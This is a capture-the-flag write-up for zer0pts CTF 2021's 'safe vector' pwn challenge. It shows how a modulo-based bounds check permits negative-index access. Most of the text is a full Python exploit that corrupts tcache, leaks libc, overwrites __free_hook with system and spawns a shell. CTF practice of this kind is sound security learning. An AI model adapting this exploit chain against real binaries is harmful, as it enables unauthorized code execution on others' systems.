# safe vector - zer0pts CTF 2021
###### tags: `zer0pts CTF 2021` `pwn`

## Challenge Overview
We're given an x64 ELF, its source code, and the libc binary.

At first glance, the vulnerability is out-of-bound RW.

    case 3:
      {
        int i, v;
        cout << "index: ";
        cin >> i;
        cout << "value: ";
        cin >> v;
        arr[i] = v;
        break;
      }
    case 4:
      {
        int i;
        cout << "index: ";
        cin >> i;
        cout << "value: " << arr[i] << endl;
        break;
      }

However, this array is of `safe_vector<uint32_t>` and it's defined here:

template<typename T>
class safe_vector: public std::vector<T> {
public:
  void wipe() {
    std::vector<T>::resize(0);
    std::vector<T>::shrink_to_fit();
  }

  T& operator[](int index) {
    int size = std::vector<T>::size();
    if (size == 0) {
      throw "index out of bounds";
    }
    return std::vector<T>::operator[](index % size);
  }
};

The programmer intends to ban oob access by the modulo operator. However, in C++, the result of `<int> % <int>` may take negative values. We abuse this fact to read/write at negative index.

## Solution
This challenge was written for "I <3 Heap" people. Although, I hate heap challenge and I don't want to write the detailed solution.
Basically just "try hard to corrupt tcache" and "try hard to leak libc address" and "try hard to overwrite free hook" and it's done.

## Exploit

from ptrlib import *

def push(v):
    sock.sendlineafter(">> ", "1")
    if v >> 31:
        sock.sendlineafter(": ", str(-((v ^ 0xffffffff) + 1)))
    else:
        sock.sendlineafter(": ", str(v))
def pop():
    sock.sendlineafter(">> ", "2")
def store(i, v):
    sock.sendlineafter(">> ", "3")
    sock.sendlineafter(": ", str(i))
    if v >> 31:
        sock.sendlineafter(": ", str(-((v ^ 0xffffffff) + 1)))
    else:
        sock.sendlineafter(": ", str(v))
def load(i):
    sock.sendlineafter(">> ", "4")
    sock.sendlineafter(": ", str(i))
    return int(sock.recvlineafter(": "))
def wipe():
    sock.sendlineafter(">> ", "5")

libc = ELF("../distfiles/libc.so.6")
sock = Socket("localhost", 9001)

"""
Step 1)  heap feng shui
"""
# prepare unsorted bin
logger.info("Linking into unsorted bin")
for i in range(8):
    push(i)
store(-2, 0x91)
for i in range(8, 16):
    push(i)
store(10, 0x111)
store(11, 0)
addr_heap = (load(-9) << 32) + load(-10) - 0x10
logger.info("heap = " + hex(addr_heap))
for i in range(16, 32):
    push(i)
store(-2, 0x211)
for i in range(32, 64):
    push(i)
store(10, 0x411)
for i in range(64, 128):
    push(i)
for i in range(128, 256):
    push(i)
store(18, 0xf0a1) # top
store(19, 0)
for i in range(256, 512):
    push(i)
push(0xdead)
store(-2, 0x80)
wipe()

# corrupt link
logger.info("Corrupting tcache link")
for i in range(4):
    push(0xff0000 + i)
store(-2, 0x111)
for i in range(4, 8):
    push(0xff0000 + i)
store(-2, 0x51)
for i in range(8, 32):
    push(0xff0000 + i)
for i in range(32, 58):
    push(0xff0000 + i)
push(0x51)
push(0)
addr_target = addr_heap + 0x120f0
push(addr_target & 0xffffffff)
push(addr_target >> 32)
store(6, 0x21)
store(7, 0)
store(8, 0)
store(9, 0)
wipe()

"""
Step 2) Libc leak
"""
# consume
logger.info("Consuming chunk for 0x50")
for i in range(16):
    push(i)
store(-2, 0x31)
push(0xcafe)
wipe()
for i in range(16):
    push(i)
# leak
libc_base = (load(-5) << 32) + load(-6) - libc.main_arena() - 0x60
logger.info("libc = " + hex(libc_base))

"""
Step 3) Poison tcache
"""
addr_victim = libc_base + libc.symbol("__free_hook")
store(-2, 0x81)
for i in range(16, 33):
    push(i)
store(6, 0x21)
store(7, 0)
store(8, addr_victim & 0xffffffff)
store(9, addr_victim >> 32)
wipe()

"""
Step 4) Win!
"""
addr_target = libc_base + libc.symbol("system")
push(addr_target & 0xffffffff)
push(addr_target >> 32)
push(0xdead)
push(0xbeef)
store(0, u32("/bin"))
store(1, u32("/sh\0"))
push(0xcafe)

sock.interactive()